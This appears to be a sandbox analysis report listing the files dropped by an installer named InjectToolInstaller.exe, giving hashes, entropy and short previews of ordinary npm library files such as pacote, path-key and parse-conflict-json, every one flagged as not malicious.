C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\pacote\lib\registry.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	13383
Entropy (8bit):	4.508705092780298
Encrypted:	false
SSDEEP:	192:yAYTDpmh/0uinnQaOoCMANbVsI0uEfScKqy+jilk3FCdaZiJD8Sqv5XCsDFyg9i0:yAYT8hcumRANh2SgWk3ZrFzoX+Qy/
MD5:	90C317C2D26103B69952B220B1468BD4
SHA1:	B163DB0301DE188B60A70FE6E10542A400A1FA17
SHA-256:	FCAFF0F1F4A446C8BE8768CE759BE7DE81D02BA78E974181DE359EDA3EAD7A7D
SHA-512:	79D2635A42C75C30F6532A0A045CB6FA2FCD6B1AB63CF6893A6C45E3733017E871DED303068DF16FE603848E2F32DC855262B2937038DECAD45BE4EF5456586B
Malicious:	false
Preview:	const Fetcher = require('./fetcher.js').const RemoteFetcher = require('./remote.js').const _tarballFromResolved = Symbol.for('pacote.Fetcher._tarballFromResolved').const pacoteVersion = require('../package.json').version.const removeTrailingSlashes = require('./util/trailing-slashes.js').const rpj = require('read-package-json-fast').const pickManifest = require('npm-pick-manifest').const ssri = require('ssri').const crypto = require('crypto').const npa = require('npm-package-arg').const sigstore = require('sigstore')..// Corgis are cute. .....const corgiDoc = 'application/vnd.npm.install-v1+json; q=1.0, application/json; q=0.8, /'.const fullDoc = 'application/json'..const fetch = require('npm-registry-fetch')..const _headers = Symbol('_headers').class RegistryFetcher extends Fetcher {. constructor (spec, opts) {. super(spec, opts).. // you usually don't want to fetch the same packument multiple times in. // the span of a given script or command, no matter how many pacot

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\pacote\lib\remote.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2801
Entropy (8bit):	4.721313272602944
Encrypted:	false
SSDEEP:	48:RNKDNV4ljQb+IjVBvSPGU/K9wj/mCPJU7qLoJFxa28mDsX99Zh6e9bUW9xzuY6v:kXbVjXqPj/UC/mqU7qLojfBDof5yWrVE
MD5:	1B56A07B64A9F60CE0A604E8E88FCEA0
SHA1:	EA413D340217780CA1F2E61578DD9C02C6B7700D
SHA-256:	1AAC5CE50C936A606DDFB91FAD96BFDE8E5AC0796F9038D3BE702C874221CA0F
SHA-512:	0C1D193184724071117D128FD2728FF8A2AEB40898644E7B617DBFE11224494FCD6D1D8FE57C19AFF028AE5B184527DAC3252C7080615567AE0EFCF53EF78C31
Malicious:	false
Preview:	const Fetcher = require('./fetcher.js').const FileFetcher = require('./file.js').const _tarballFromResolved = Symbol.for('pacote.Fetcher._tarballFromResolved').const pacoteVersion = require('../package.json').version.const fetch = require('npm-registry-fetch').const { Minipass } = require('minipass')..const _cacheFetches = Symbol.for('pacote.Fetcher._cacheFetches').const _headers = Symbol('_headers').class RemoteFetcher extends Fetcher {. constructor (spec, opts) {. super(spec, opts). this.resolved = this.spec.fetchSpec. const resolvedURL = new URL(this.resolved). if (this.replaceRegistryHost !== 'never'. && (this.replaceRegistryHost === 'always'. \|\| this.replaceRegistryHost === resolvedURL.host)) {. this.resolved = new URL(resolvedURL.pathname, this.registry).href. }.. // nam is a fermented pork sausage that is good to eat. const nameat = this.spec.name ? `${this.spec.name}@` : ''. this.pkgid = opts.pkgid ? opts.pkgid : `remote:${nameat}${this.r

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\pacote\lib\util\add-git-sha.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	427
Entropy (8bit):	4.586785237838465
Encrypted:	false
SSDEEP:	12:j9VVjJNwF6l4zlwXq4aLX/WtYgqBvADqv/oo9G5vbTBO:BV9zwHza64GXe+gDDy/bk5DTBO
MD5:	6110A47A8C9FE890D8B461C6B172EBA3
SHA1:	3A8E30C81041510C0D591C521EC196A42803AB27
SHA-256:	971AB30CF8AEFFEB2EBE8D52578A8FBF75FA2E92B4A658523D74955055ACC3D3
SHA-512:	E3124A2223F02DA26519EB2CA35798BEEB3D209155699EF42CA43D08AE0BDE1E6824FD90A205766A843DBE678EC3EA7468EC5185FCBFC68315C226EFA86CE77B
Malicious:	false
Preview:	// add a sha to a git remote url spec.const addGitSha = (spec, sha) => {. if (spec.hosted) {. const h = spec.hosted. const opt = { noCommittish: true }. const base = h.https && h.auth ? h.https(opt) : h.shortcut(opt).. return `${base}#${sha}`. } else {. // don't use new URL for this, because it doesn't handle scp urls. return spec.rawSpec.replace(/#.*$/, '') + `#${sha}`. }.}..module.exports = addGitSha.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\pacote\lib\util\cache-dir.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	589
Entropy (8bit):	4.836250397754049
Encrypted:	false
SSDEEP:	12:CraqBMV1NFkMm0N549cHegZ72QK3eAvdc2ZTXrGMt:fqBKkMmrgZRgL
MD5:	ECFC4A4EA97B10FD4B3BB7B506989657
SHA1:	EC9A36E66086DB78C1063CDAFA626B1E54C87AEB
SHA-256:	0505B6065337639A8DEF75D2BCA888B2B60C770B4DFEE3F95D690D2C33C5CAC6
SHA-512:	CB73CAD6587CBF1E6A5BB347D2CDA73E89F22A58C71068A4AA307B23F0B41B0FD399345E08C9624AB5F4BB62723759A540852E7FB3F55CB736218B79D8943B77
Malicious:	false
Preview:	const os = require('os').const { resolve } = require('path')..module.exports = (fakePlatform = false) => {. const temp = os.tmpdir(). const uidOrPid = process.getuid ? process.getuid() : process.pid. const home = os.homedir() \|\| resolve(temp, 'npm-' + uidOrPid). const platform = fakePlatform \|\| process.platform. const cacheExtra = platform === 'win32' ? 'npm-cache' : '.npm'. const cacheRoot = (platform === 'win32' && process.env.LOCALAPPDATA) \|\| home. return {. cacache: resolve(cacheRoot, cacheExtra, '_cacache'),. tufcache: resolve(cacheRoot, cacheExtra, '_tuf'),. }.}.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\pacote\lib\util\is-package-bin.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	824
Entropy (8bit):	4.733256590217775
Encrypted:	false
SSDEEP:	12:jgMWttUdHSZZaCOi5d99Yt7siDAk7/Fa953Q4BCZ50B/1GDd:dWToyHaCBEsiDpB+3QACgBNGDd
MD5:	7980452057A21A871243C3BA2A787AF8
SHA1:	9DFD9C828926E1A04EF7382567E0907707343E7C
SHA-256:	4814CC5D581AC2D21FFEDD16B657FA7289B32309733E83B1F33A0F159A8D2983
SHA-512:	280FA30D12CBAC1E903C1C89C5D763E84044076B92155DADC1DFE4D0F782C9A02B7A10A42C6CC1D1A908C009DCFE33CDC0FC107B07A0F4C44E3963D6A952FDCF
Malicious:	false
Preview:	// Function to determine whether a path is in the package.bin set..// Used to prevent issues when people publish a package from a.// windows machine, and then install with --no-bin-links..//.// Note: this is not possible in remote or file fetchers, since.// we don't have the manifest until AFTER we've unpacked. But the.// main use case is registry fetching with git a distant second,.// so that's an acceptable edge case to not handle...const binObj = (name, bin) =>. typeof bin === 'string' ? { [name]: bin } : bin..const hasBin = (pkg, path) => {. const bin = binObj(pkg.name, pkg.bin). const p = path.replace(/^[^\\/]*\//, ''). for (const kv of Object.entries(bin)) {. if (kv[1] === p) {. return true. }. }. return false.}..module.exports = (pkg, path) =>. pkg && pkg.bin ? hasBin(pkg, path) : false.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\pacote\lib\util\npm.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	567
Entropy (8bit):	4.690600672117175
Encrypted:	false
SSDEEP:	12:j5blAqBLYwFWI2I9dUMpYxlLqeLOr5QvIkgFLA2f/Q1U/dn:VlNBNWIzJ6fLqeLOdgOFt/D
MD5:	7E01E9213284E62CDC62F1CE72AEB9D7
SHA1:	A0B978F93DEDEEF575EF50783F0824C5D7AB412D
SHA-256:	7CAA5A0E9C7ABCF7E902911EC8523BA9264B5731122246CFA54207223B05E9F8
SHA-512:	955203998E838BAA61532BA451A5748D69EF385326EF1407BDA16A8F510E41E5930481C013EC54C59707983C3AF5AD5CFE2E6571BBE7D515C36A2D3414D6DAF3
Malicious:	false
Preview:	// run an npm command.const spawn = require('@npmcli/promise-spawn')..module.exports = (npmBin, npmCommand, cwd, env, extra) => {. const isJS = npmBin.endsWith('.js'). const cmd = isJS ? process.execPath : npmBin. const args = (isJS ? [npmBin] : []).concat(npmCommand). // when installing to run the `prepare` script for a git dep, we need. // to ensure that we don't run into a cycle of checking out packages. // in temp directories. this lets us link previously-seen repos that. // are also being prepared... return spawn(cmd, args, { cwd, env }, extra).}.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\pacote\lib\util\tar-create-options.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.747366713007717
Encrypted:	false
SSDEEP:	24:Qwzi29bC2rozamyX9g0KKnbDkQcQ6+yzMA1HUES1Bk1p:9vhrovEq0yQ6+yzRS1c
MD5:	4791C6B5159C8F1D62CEC3209ACE5D31
SHA1:	09C600D872629411E58A3F56EE6BD15B41205A10
SHA-256:	87C387D44FEA5D1AAEF41DECD6896E19C45A8A8DFD560334777DB2F2CF02A840
SHA-512:	1844C94FA955C5F9B8005457968B460A0853F12AE7E9E585F90964588A700CECB0A9FD0950688664C268D549F814713451069D11DF199168A4EC547D5E4001FA
Malicious:	false
Preview:	const isPackageBin = require('./is-package-bin.js')..const tarCreateOptions = manifest => ({. cwd: manifest._resolved,. prefix: 'package/',. portable: true,. gzip: {. // forcing the level to 9 seems to avoid some. // platform specific optimizations that cause. // integrity mismatch errors due to differing. // end results after compression. level: 9,. },.. // ensure that package bins are always executable. // Note that npm-packlist is already filtering out. // anything that is not a regular file, ignored by. // .npmignore or package.json "files", etc.. filter: (path, stat) => {. if (isPackageBin(manifest, path)) {. stat.mode \|= 0o111. }. return true. },.. // Provide a specific date in the 1980s for the benefit of zip,. // which is confounded by files dated at the Unix epoch 0.. mtime: new Date('1985-10-26T08:15:00.000Z'),.})..module.exports = tarCreateOptions.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\pacote\lib\util\trailing-slashes.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	238
Entropy (8bit):	4.537909268383396
Encrypted:	false
SSDEEP:	6:QbEKaFTwePtk29GbNuBgPMy6bHERHEEWBjE/:6EnFTwePhGHMbeHuBjE/
MD5:	202E76B0ED13E0325EA83ED4CDFA6140
SHA1:	545F0E7C53F1476B952DA9B9FBA66E7AFD68F087
SHA-256:	D41ED7D724EDD3CE667E60959D63C22DA512954912074F2AEB1D986EE99B075F
SHA-512:	BCB332975869CD6675E332A5CA95C4F5A7999191C57B78D459B634300B8DF72A1928737414A471F9C87A5D2C97DA894DCC24BF018388A5D23685718F97C2F525
Malicious:	false
Preview:	const removeTrailingSlashes = (input) => {. // in order to avoid regexp redos detection. let output = input. while (output.endsWith('/')) {. output = output.slice(0, -1). }. return output.}..module.exports = removeTrailingSlashes.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\pacote\package.json

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2006
Entropy (8bit):	4.700494523620594
Encrypted:	false
SSDEEP:	48:5vyCssPY2esCSnqsP+qdzYdwUfo89A3dSaflRVt:d7esCSqS+qdzYdwUfo89ANSaNR
MD5:	673482746A454D529E867E266C7FA57C
SHA1:	C9DC22539653FE4854F183367641227E52A0F047
SHA-256:	B0D4F7B9CAC0E09C4569D6BC91A2D6AB091C9E7FCD65C174F653EFE8C3EC5D6B
SHA-512:	5F17EDDD6D0F656F0E456983724E91C87287388BA541EC8D2A9B2DFAE64AC40FCBF945D70419401BCDC6C38718DBEEF559182FDD41EF22B8FDD64AC077C77A4A
Malicious:	false
Preview:	{. "name": "pacote",. "version": "17.0.4",. "description": "JavaScript package downloader",. "author": "GitHub Inc.",. "bin": {. "pacote": "lib/bin.js". },. "license": "ISC",. "main": "lib/index.js",. "scripts": {. "test": "tap",. "snap": "tap",. "lint": "eslint \"*/.js\"",. "postlint": "template-oss-check",. "lintfix": "npm run lint -- --fix",. "posttest": "npm run lint",. "template-oss-apply": "template-oss-apply --force". },. "tap": {. "timeout": 300,. "nyc-arg": [. "--exclude",. "tap-snapshots/**". ]. },. "devDependencies": {. "@npmcli/arborist": "^6.0.0 \|\| ^6.0.0-pre.0",. "@npmcli/eslint-config": "^4.0.0",. "@npmcli/template-oss": "4.18.0",. "hosted-git-info": "^7.0.0",. "mutate-fs": "^2.1.1",. "nock": "^13.2.4",. "npm-registry-mock": "^1.3.2",. "tap": "^16.0.1". },. "files": [. "bin/",. "lib/". ],. "keywords": [. "packages",. "npm",. "git". ],. "dependencies": {. "@npmcli/git

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\parse-conflict-json\LICENSE.md

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	exported SGML document, ASCII text
Category:	dropped
Size (bytes):	798
Entropy (8bit):	5.092418661626419
Encrypted:	false
SSDEEP:	12:jANOU+xXS4duNXc1EanmmBq6KX9KLZXOj1HUXUjBjz2AvzPpkhy9gp3ew:jAaCIuwEedq6s9oOBAUjBjn6aq3ew
MD5:	C637D431AC5FAADB34AFF5FBD6985239
SHA1:	0E28FD386CE58D4A8FCBF3561DDAACD630BC9181
SHA-256:	27D998B503B18CDB16C49E93DA04069A99BA8A1D7E18D67146DE8E242F9A6D21
SHA-512:	A4B744C1D494FCC55CD223C8B7B0AD53F3637AAC05FE5C9A2BE41C5F5E117610C75A323C7745DFEAE0DB4126F169C2B7B88649412B6044BA4A94E9A4D8D62535
Malicious:	false
Preview:	This file is automatically added by @npmcli/template-oss. Do not edit. -->..ISC License..Copyright npm, Inc...Permission to use, copy, modify, and/or distribute this.software for any purpose with or without fee is hereby.granted, provided that the above copyright notice and this.permission notice appear in all copies...THE SOFTWARE IS PROVIDED "AS IS" AND NPM DISCLAIMS ALL.WARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL.IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS. IN NO.EVENT SHALL NPM BE LIABLE FOR ANY SPECIAL, DIRECT,.INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES.WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,.WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER.TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE.USE OR PERFORMANCE OF THIS SOFTWARE..

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\parse-conflict-json\lib\index.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2921
Entropy (8bit):	4.910200054539036
Encrypted:	false
SSDEEP:	48:N0Ow99wu3jGPkL9YKLc7U5CbCBKCxKCUd9niQgwZE3Qzjx+qjlepUMv0c0LFPX6:3e9xLt5CbCsCxKCY9niQDEijx+klepVL
MD5:	79F39ABCB65AA5A1E290DBB80BF196C3
SHA1:	E888A33F993F2438A92EB31D97889DD6CE34C60A
SHA-256:	4E13740012D8864FFED7F6C4A4CAF2CE7008F654BF1B3D02494BC9ECB4E7E6EE
SHA-512:	A3BAC97BAA15BD614C11E3DBF2E18559EA4C0F3D75665D5BBD47DFF1591ED9CF99961FDF605334FCCE2F788E0360ADA94D825757B6B8AD5A11A5BD829182B680
Malicious:	false
Preview:	const parseJSON = require('json-parse-even-better-errors').const { diff } = require('just-diff').const { diffApply } = require('just-diff-apply')..const globalObjectProperties = Object.getOwnPropertyNames(Object.prototype)..const stripBOM = content => {. content = content.toString(). // Remove byte order marker. This catches EF BB BF (the UTF-8 BOM). // because the buffer-to-string conversion in `fs.readFileSync()`. // translates it to FEFF, the UTF-16 BOM.. if (content.charCodeAt(0) === 0xFEFF) {. content = content.slice(1). }. return content.}..const PARENT_RE = /\\|{7,}/g.const OURS_RE = /<{7,}/g.const THEIRS_RE = /={7,}/g.const END_RE = />{7,}/g..const isDiff = str =>. str.match(OURS_RE) && str.match(THEIRS_RE) && str.match(END_RE)..const parseConflictJSON = (str, reviver, prefer) => {. prefer = prefer \|\| 'ours'. if (prefer !== 'theirs' && prefer !== 'ours') {. throw new TypeError('prefer param must be "ours" or "theirs" if set'). }.. str = stripBOM(str).. if (!is

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\parse-conflict-json\package.json

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1212
Entropy (8bit):	4.741083276345625
Encrypted:	false
SSDEEP:	24:s1XMUbhmPYKFfesLTH5Y98LIFh8W8i85geJo631K:sX3lmPY2esn5S8sP+/WefFK
MD5:	64851A6C20734ED832A7ACD3DB36816C
SHA1:	E6E2B7AAA5EFA099A4A9A389030E5E2E28BF9775
SHA-256:	23BAD6EA0FE96D214D998A86FF254B330C1E5695D346E6385A78B5E7DE7E74C4
SHA-512:	56C23A093EDDCF422753FB5DB849B4BD3CB8991562D3173B55339488FF00169A5B7D15228B6213F2BD0760BEFC491283A7BF52E80448B0CB3D5F04F4D403E669
Malicious:	false
Preview:	{. "name": "parse-conflict-json",. "version": "3.0.1",. "description": "Parse a JSON string that has git merge conflicts, resolving if possible",. "author": "GitHub Inc.",. "license": "ISC",. "main": "lib",. "scripts": {. "test": "tap",. "snap": "tap",. "lint": "eslint \"*/.js\"",. "postlint": "template-oss-check",. "lintfix": "npm run lint -- --fix",. "posttest": "npm run lint",. "template-oss-apply": "template-oss-apply --force". },. "tap": {. "check-coverage": true,. "nyc-arg": [. "--exclude",. "tap-snapshots/**". ]. },. "devDependencies": {. "@npmcli/eslint-config": "^4.0.0",. "@npmcli/template-oss": "4.12.0",. "tap": "^16.0.1". },. "dependencies": {. "json-parse-even-better-errors": "^3.0.0",. "just-diff": "^6.0.0",. "just-diff-apply": "^5.2.0". },. "repository": {. "type": "git",. "url": "https://github.com/npm/parse-conflict-json.git". },. "files": [. "bin/",. "lib/". ],. "engines": {.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\path-is-absolute\index.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	611
Entropy (8bit):	5.460683234839858
Encrypted:	false
SSDEEP:	12:DXQPmtO25WkxyIsOCcjkhb13vhLtKQ22IqJkaHXB+9LWBIRBr0vn:DXQPm1WkxyI6cofvhLtkqRHXB+0BIRBi
MD5:	135A9DC74DC76B698C2ABEAAA165F889
SHA1:	6DE38A82F68960DE2BD07FD9114541F02BEE2F62
SHA-256:	4EB1119C3EECCC4D8E8841B77D062ABAF4572B332801F5B16175BC3311B5D8F1
SHA-512:	A81B8BCA8B071D1D6B86DB867A832528C5FB65507A1A2E6FC39306ADBD3D795DA932AC73BE27BBF7D496F70242F07DC58657033D2CA9D85B520C27C01E9322C2
Malicious:	false
Preview:	'use strict';..function posix(path) {..return path.charAt(0) === '/';.}..function win32(path) {..// https://github.com/nodejs/node/blob/b3fcc245fb25539909ef1d5eaa01dbf92e168633/lib/path.js#L56..var splitDeviceRe = /^([a-zA-Z]:\|[\\\/]{2}[^\\\/]+[\\\/]+[^\\\/]+)?([\\\/])?([\s\S]*?)$/;..var result = splitDeviceRe.exec(path);..var device = result[1] \|\| '';..var isUnc = Boolean(device && device.charAt(1) !== ':');...// UNC paths are always absolute..return Boolean(result[2] \|\| isUnc);.}..module.exports = process.platform === 'win32' ? win32 : posix;.module.exports.posix = posix;.module.exports.win32 = win32;.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\path-is-absolute\license

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1119
Entropy (8bit):	5.1078795238525405
Encrypted:	false
SSDEEP:	24:bwrmJHHH0yN3gtsHw1hj9QHOsUv4eOk4/+/m3oqLF5n:bwaJHlxE35QHOs5exm3ogF5n
MD5:	A12EBCA0510A773644101A99A867D210
SHA1:	0C94F137F6E0536DB8CB2622A9DC84253B91B90C
SHA-256:	6FB9754611C20F6649F68805E8C990E83261F29316E29DE9E6CEDAE607B8634C
SHA-512:	AE79E7A4209A451AEF6B78F7B0B88170E7A22335126AC345522BF4EAFE0818DA5865AAE1507C5DC0224EF854548C721DF9A84371822F36D50CBCD97FA946EEE9
Malicious:	false
Preview:	The MIT License (MIT)..Copyright (c) Sindre Sorhus <sindresorhus@gmail.com> (sindresorhus.com)..Permission is hereby granted, free of charge, to any person obtaining a copy.of this software and associated documentation files (the "Software"), to deal.in the Software without restriction, including without limitation the rights.to use, copy, modify, merge, publish, distribute, sublicense, and/or sell.copies of the Software, and to permit persons to whom the Software is.furnished to do so, subject to the following conditions:..The above copyright notice and this permission notice shall be included in.all copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR.IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,.FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE.AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER.LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TO

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\path-is-absolute\package.json

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	733
Entropy (8bit):	4.449228449672791
Encrypted:	false
SSDEEP:	12:+Q18u63MA6vkGm4SHtG3wnuPxWjV4VFk/GCVKJXkS7UklRF/RT2gaATFU7wRfC:+Q1l63EdlS0geQOfXxRxN/mJ
MD5:	EF6E018BDF67B82AB1285BC799B5367B
SHA1:	51B80416EA8AFF0F6F04B15EE2E114250BA1A14C
SHA-256:	BE5B83877F6998B840B9365D7AB77E885F0D583337826C22DACCAEB6E303FD4C
SHA-512:	2217A53408857A99AC9DC05C09B05558089FD4BC74501484452BF513EF1008259D9E9588EE82465404CD13E093105A6932C1B77AB2D44302C0E4AABE0245D2E4
Malicious:	false
Preview:	{. "name": "path-is-absolute",. "version": "1.0.1",. "description": "Node.js 0.12 path.isAbsolute() ponyfill",. "license": "MIT",. "repository": "sindresorhus/path-is-absolute",. "author": {. "name": "Sindre Sorhus",. "email": "sindresorhus@gmail.com",. "url": "sindresorhus.com". },. "engines": {. "node": ">=0.10.0". },. "scripts": {. "test": "xo && node test.js". },. "files": [. "index.js". ],. "keywords": [. "path",. "paths",. "file",. "dir",. "absolute",. "isabsolute",. "is-absolute",. "built-in",. "util",. "utils",. "core",. "ponyfill",. "polyfill",. "shim",. "is",. "detect",. "check". ],. "devDependencies": {. "xo": "^0.16.0". }.}.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\path-key\index.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	415
Entropy (8bit):	4.9786257376716465
Encrypted:	false
SSDEEP:	6:Q/3IDA2mQD2lcmwVLJKpvLqRkS08ipuWh89S2m6vX+OaHtKBYIeS0nWfF5OEbB8w:CAA2mQDacmyJKp+kXpui8CGBYyF5/BX
MD5:	BA81073459FE0D668BA31F0F746399C9
SHA1:	B3752B76E3E5051C5F021440D27958CF883F3136
SHA-256:	FDBAFDC163F668FE325333D62387365C9B074E01253E32824A4DBF5CC552705D
SHA-512:	5BD337C8F3EB7D60F976E78ECCB320A26AB57B2B018F295FD887E92785970C314A69A69EC81541F01E4EEAA60FD4F05BFC4632AA734C9546EF408DB604C72207
Malicious:	false
Preview:	'use strict';..const pathKey = (options = {}) => {..const environment = options.env \|\| process.env;..const platform = options.platform \|\| process.platform;...if (platform !== 'win32') {...return 'PATH';..}...return Object.keys(environment).reverse().find(key => key.toUpperCase() === 'PATH') \|\| 'Path';.};..module.exports = pathKey;.// TODO: Remove this for the next major release.module.exports.default = pathKey;.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\path-key\license

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text, with very long lines (460)
Category:	dropped
Size (bytes):	1109
Entropy (8bit):	5.0681506929270785
Encrypted:	false
SSDEEP:	24:ar4JHBH0yPP3gtAHw1hl9QHcsUv48Ok4/+dbo3oqxFD:a8JplPvEDvQHcs5ITc3omFD
MD5:	915042B5DF33C31A6DB2B37EADAA00E3
SHA1:	5AAF48196DDD4D007A3067AA7F30303CA8E4B29C
SHA-256:	48DA2F39E100D4085767E94966B43F4FA95FF6A0698FBA57ED460914E35F94A0
SHA-512:	9C8B2DEF76AE5FFE4D636166BF9635D7ABD69CDAC4BF819A2145F7969646D39AE95C96364BC117F9FA544B98518C294233455D4F665AF430C75D70798DD4AB13
Malicious:	false
Preview:	MIT License..Copyright (c) Sindre Sorhus <sindresorhus@gmail.com> (sindresorhus.com)..Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:..The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHE

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\path-key\package.json

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	650
Entropy (8bit):	4.859853975989725
Encrypted:	false
SSDEEP:	12:gF1EshhlFlhyWebtKG2zyQnN1FGNVHcSBHNe44ppZiL:U1EshhlFqwQD94ppg
MD5:	6BD767B83CB2681FFE6D7EB277A12214
SHA1:	F330C46F59DBDD92DDDF8A2CFC2C1569B469BDD2
SHA-256:	25594DAB72681C910D9CC919263A4DAF27D77A75E0D2C26A4D958D6D6B798F86
SHA-512:	EA758C1E609BF65C3ECC0CD55A5020C6C00BD7FE15FFB0DA3191C587D0A01E4E0E0F37811CDAECE429D17AD0D84BA2BC97AC196A1941BEBD03603C3F13752F83
Malicious:	false
Preview:	{.."name": "path-key",.."version": "3.1.1",.."description": "Get the PATH environment variable key cross-platform",.."license": "MIT",.."repository": "sindresorhus/path-key",.."author": {..."name": "Sindre Sorhus",..."email": "sindresorhus@gmail.com",..."url": "sindresorhus.com"..},.."engines": {..."node": ">=8"..},.."scripts": {..."test": "xo && ava && tsd"..},.."files": [..."index.js",..."index.d.ts"..],.."keywords": [..."path",..."key",..."environment",..."env",..."variable",..."var",..."get",..."cross-platform",..."windows"..],.."devDependencies": {..."@types/node": "^11.13.0",..."ava": "^1.4.1",..."tsd": "^0.7.2",..."xo": "^0.24.0"..}.}.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\path-scurry\LICENSE.md

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1552
Entropy (8bit):	4.503076019303801
Encrypted:	false
SSDEEP:	48:BSXnElGBP3DgRyiWU8/OAdJOWi+nlbj0AYan:Bk5BPwyCAdkWFlBfn
MD5:	95E9F67F2840DF3A3A09A77EF3AEA34B
SHA1:	04B424DF89F0C4840F5F64286A19AFD84BEE2466
SHA-256:	8A1AF140FDFBF5AFD3DF27F7E662F989C5B963A300020DFAFCE42033CAE9E004
SHA-512:	B1E087EC6F6E4A139B043C99B203D75AC1AD10C23148DF1417B191DC382649D076C05D0EAF640F667B9C8B1EBE0D0F185E03F0D9F3D6D67D58776EC28E90F0C4
Malicious:	false
Preview:	# Blue Oak Model License..Version 1.0.0..## Purpose..This license gives everyone as much permission to work with.this software as possible, while protecting contributors.from liability...## Acceptance..In order to receive this license, you must agree to its.rules. The rules of this license are both obligations.under that agreement and conditions to your license..You must not do anything with this software that triggers.a rule that you cannot or will not follow...## Copyright..Each contributor licenses you to do everything with this.software that would otherwise infringe that contributor's.copyright in it...## Notices..You must ensure that everyone who gets a copy of.any part of this software from you, with or without.changes, also gets the text of this license or a link to.<https://blueoakcouncil.org/license/1.0.0>...## Excuse..If anyone notifies you in writing that you have not.complied with [Notices](#notices), you can keep your.license by taking all practical steps to comply within

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\path-scurry\dist\cjs\index.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	C++ source, ASCII text
Category:	dropped
Size (bytes):	65859
Entropy (8bit):	4.383304441967824
Encrypted:	false
SSDEEP:	768:MmSiqXbHeI4K/KqRJ3isMiSkUQW+3AVkxe9QtQPE+6rua+lmUL2QNAZudyRQf3:MmYrWyrMipb7wCxYrSUlr
